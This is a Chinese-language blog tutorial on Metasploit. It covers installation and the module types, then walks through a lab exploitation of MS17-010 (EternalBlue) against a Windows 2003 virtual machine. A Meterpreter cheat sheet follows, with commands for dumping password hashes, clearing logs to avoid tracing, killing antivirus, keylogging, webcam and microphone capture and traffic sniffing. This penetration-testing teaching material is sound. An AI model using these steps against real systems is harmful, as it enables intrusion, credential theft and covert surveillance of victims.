Metasploit入门
本文最后更新于 2024-07-26,文章内容可能已经过时。
Metasploit入门
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
Metasploit简介
Metasploit(简称MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。
Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化。
在Ubuntu中安装MSF
原文链接:https://blog.csdn.net/mis_jiangyaomin/article/details/130889515
环境准备:一台Ubuntu系统的虚拟机或者Ubuntu系统的wsl
1.curl拷贝安装脚本并安装msf
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
2.安装postgresql供msf使用
sudo apt install postgresql
3.测试
查看数据库状态
systemctl status postgresql
4.设置数据开机自启动
systemctl enable postgresql
5.启动msf
msfconsole
Metasploit目录结构
kali中输入:
/usr/share/metasploit-framework
然后输入ls查看
Metasploit模块介绍
模块名 | **中文解释 ** | 功能描述 |
---|---|---|
Auxiliaries | 辅助模块 | 该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试 |
Exploit/run | 漏洞利用模块 | 漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透测试攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。 |
Payload | 攻击载荷模块 | 攻击载荷是我们期望目标系统在被渗透攻击之后完成实际供给功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。 |
Post | 后期渗透模块 | 该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等 |
Encoders | 编码工具模块 | 该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来 |
evasion | 混淆模块 | 能够生成绕过杀毒软件的shell(目前只适用于Windows) |
Meterpreter | 后续利用模块 | 作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。通常也作为后渗透测试功能使用。 |
上述模块所在位置:/usr/share/metasploit-framework/modules
Metasploit模块利用
- 使用Nmap 搜索某台主机山个是否存在某一个漏洞 。
- 查询到当前操作系统的内核版本,搜索当前内核版本有什么漏洞
环境:攻击机kali
目标机器(win2003)
首先nmap进行扫描网段信息:
成功发现目标主机ip地址: 192.168.91.140
简单用nmap的脚本查找下目标主机的漏洞信息:
nmap --script=vuln 192.168.91.140
┌──(root㉿kali)-[~]
└─# nmap --script=vuln 192.168.91.140
Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-11 02:00 CST
Nmap scan report for 192.168.91.140
Host is up (0.00077s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
MAC Address: 00:0C:29:3B:12:36 (VMware)
Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Nmap done: 1 IP address (1 host up) scanned in 40.65 seconds
可以看到有各种漏洞,这里选取最经典的MS17-010永痕之蓝漏洞进行利用
kali启动msf:
msfconsole
(1)、漏洞搜索
msf6 exploit(windows/smb/ms17_010_psexec) > search ms17-010
(2)、漏洞探测(auxiliary)
探测该主机上有没有这个漏洞
输入use 3
或者 use auxiliary/scanner/smb/smb_ms17_010
查看参数设置show options
msf中Required
栏中所有yes
的都是必须要设置的,no
是不用进行设置的
设置目标主机ip地址:
set rhost 192.168.91.140
输入run
执行
探测到目标主机貌似存在这个漏洞
切换msf模块为命令执行利用模块use 2
,查看配置参数信息show options
设置目标机器ip:set rhost 192.168.91.140
设置要执行的命令参数: set command ipconfig
输入run
执行
可以看到在成功执行命令模块,显示出了目标机器的ip地址信息。
(3)、漏洞利用(Exploit)
重新搜索漏洞利用模块:search ms17-010
选择漏洞利用模块:use 1
,查看配置信息参数 :show options
设置目标主机ip:
set rhost 192.168.91.140
输入run
执行
看到meterpreter
说明入侵目标主机成功,输入getuid
查看当前登录的系统信息,输入getpid
查看在目标主机运行进程的pid信息。
输入shell可以进入当前登录的用户的命令行界面(乱码可以输入chcp 65001
解决)
在受害主机(win2003)上打开任务管理器查看进程pid(如果没有则可以在查看中点击选择列勾选PID即可)可以发现对应木马的PID进程为4000,和meterpreter中的相对应。
meterpreter : 入侵成功
meterpreter的操作 :
background / bg #退回msfconsole界面,返回使用session查看后,输入对应数字返回meterpreter
pwd/cd/cat/ls/ps/reboot/shutdown/.. #些基本命令都可以使用,但是注意没有补齐功能
edit #Meterpreter界面下的vi
lpwd #显示当前主机的工作目录(pwd是目标主机的工作目录)
lcd #当前主机目录的切换
run/bgrun #运行/后台运行命令,tab后有几百个选择,可以实现远程桌面监控、usb痕迹查看等功能,功能十分强大
clearev #清除目标主机的系统日志、安全日志等,避免被溯源
download/upload #下载/上传文件(注意表示windows的目录要用\\)
execute -f xx -i #执行xx程序,-i参数表示与该程序进行交互,-H表示将窗口隐藏执行 execute -H -i -f cmd.exe
getuid #查看当前登录的账号
getprivs #查看当前具有的权限
load priv #加载priv插件
getsystem #加载priv后,提权变为系统账号
getpid #meterpreter注入的进程号
migrate <pid值> #迁移meterpreter注入的进程,一般将session迁移到系统进程,如explorer等
hashdump或者run post/windows/gather/hashdump #从SAM数据库中导出本地用户账号
#注:SAM文件是windows的用户账户数据库,所有用户的登录名及口令等
#相关信息都会保存在这个文件中,类似于unix系统中的passwd文件
sysinfo #获取系统信息
kill #杀死进程
shell #反弹shell,直接进入目标主机的命令行
show_mount #显示分区
search #搜索文件
netstat/arp/ipconfig/ifconfig/route/... #支持部分在windows cmd和linux shell中的命令
idletime #查看计算机的空闲时间
resource #连接一个外部文件并执行,文件中一般是要执行的命令
record_mic #开启麦克风
webcam_list #列出电脑上开启的摄像头
webcam_snap -i 1 -v false #每隔1秒钟进行拍照
screenshot #对当前系统画面截图
portfwd # 端口转发,
portfwd add -l 6666 -p 3389 -r 127.0.0.1 # 将目标机的3389端口转发到本地6666端口
run post/windows/manage/enable_rdp # 利用MSF的RDP模块开启3389端口
进入Shell后直接运行 net user 和 net localgroup 添加账户,登录RDP或VNC等。
load sniffer # 监控目标机上的流量
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包
run post/windows/manage/killav # 结束掉杀毒软件的进程
run post/windows/capture/keylog_recorder # 记录键盘
run vnc # 开启vnc远程连接
Metasploit命令速查
命令 | 解释 |
---|---|
msfconsole | 命令行模式启动MSF |
exit | 退出MSF控制台终端;退出会话 |
use | 使用某一个模块 |
back | 退出模块 |
info | 查看模块的详细信息 |
set | 模块选项设置 |
run | 启动脚本 |
exploit | 启动脚本 |
show options | 查看脚本配置选项 |
show targets | 显示适用的主机类型 |
show payloads | 显示适用的payload 类型 |
search | 搜索关键字 |
background | 将会话隐藏在后台 |
sessions | 会话管理 -i ID 根据ID 管理会话 |
jobs | 查看后台运行的模块 |
jobk -k 进程编号 | 结束正在运算的msf模块 |
save | 将设置保存到/root/.msf4/config,这样重新启动msf后设置依然保留 |
- 感谢你赐予我前进的力量